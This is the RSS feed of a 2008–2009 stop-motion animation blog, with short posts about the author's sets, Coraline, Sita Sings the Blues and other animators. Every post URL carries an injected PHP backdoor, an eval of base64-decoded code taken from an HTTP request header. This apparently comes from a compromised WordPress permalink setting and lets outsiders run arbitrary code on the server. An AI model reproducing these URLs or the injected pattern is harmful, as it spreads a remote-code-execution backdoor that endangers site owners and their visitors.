http://www.betweentheframes.com/WordPress diary of a would-be animator Thu, 02 Jul 2009 20:37:47 +0000 http://backend.userland.com/rss092 en A pic of the set from the first scene. http://www.betweentheframes.com/WordPress/2009/07/02/st-iggy-set/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Exhausting, but very exciting year so far. I started a new position in February. Lots of international travel. I've been around the world twice since then. Most recently I've been on three continents in as many weeks. Still recovering. That on top of getting engaged to a beautiful, wonderful woman. ... http://www.betweentheframes.com/WordPress/2009/06/18/im-not-dead-yet/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Your animation of the day comes from one Evelien Lohbeck in the Netherlands. As one person put it, "It's official. The stuff people do for free is far better than anything you find on TV these days." Check out the rest of her work at http://www.evelienlohbeck.com. http://www.betweentheframes.com/WordPress/2009/02/17/the-paper-internet/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Just got back from Coraline. The story is great. For once it's not dumbed down for the kiddies (and it's not a musical!!!). The stop motion is beyond belief even for Selick. The 3D was definitely worthwhile. It was more than just a novelty. It was like watching puppets on ... http://www.betweentheframes.com/WordPress/2009/02/07/coraline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ A couple of years back I helped my buddy Tak on a stop-mo film called "Death of a Matriarch". He got a grant from the Center of Puppetry Arts to put it together. The film has developed a nice life of its own on the festival circuit to the point ... http://www.betweentheframes.com/WordPress/2009/01/24/iz-a-animator/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Bubblicious from Rex The Dog on Vimeo. This is fucking great. I love the built in tutorial on using replacement puppets for Stop-Mo. I love it any time the animator tips his hand. What's that called? It's not quite "breaking the 4th wall". Anyway, the papercraft is gorgeous. The animation is ... http://www.betweentheframes.com/WordPress/2009/01/23/rex-the-dog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Ignatius and the Angel http://www.betweentheframes.com/WordPress/2008/12/29/new-ignatius-shot/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ It's a Christmas Miracle, Krusty Krew! Roger Ebert did a review of Sita Sings the Blues" and its plight. It looks like there may be a legal distribution of Sita after all! I have a "covert" copy of a festival DVD that I show to everyone I meet. This is ... http://www.betweentheframes.com/WordPress/2008/12/28/sita-may-be-released/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Here's a shot for a new short I'm working on based on the Tales of Saint Ignatius the Beneficent. First up: The Holy Conception of Saint Ignatius the Beneficent. http://www.betweentheframes.com/WordPress/2008/12/08/saint-ignatius-the-beneficent/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Crongrats is due to 15 year old animator Jabril Mack. Jabril is a student from Alpharetta High School and has just beat out a thousand other entries to win the Nickelodeon Greater Creator Award. He's even getting local news coverage. Check out his youtube channel. http://www.betweentheframes.com/WordPress/2008/12/07/congrats-jabril/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/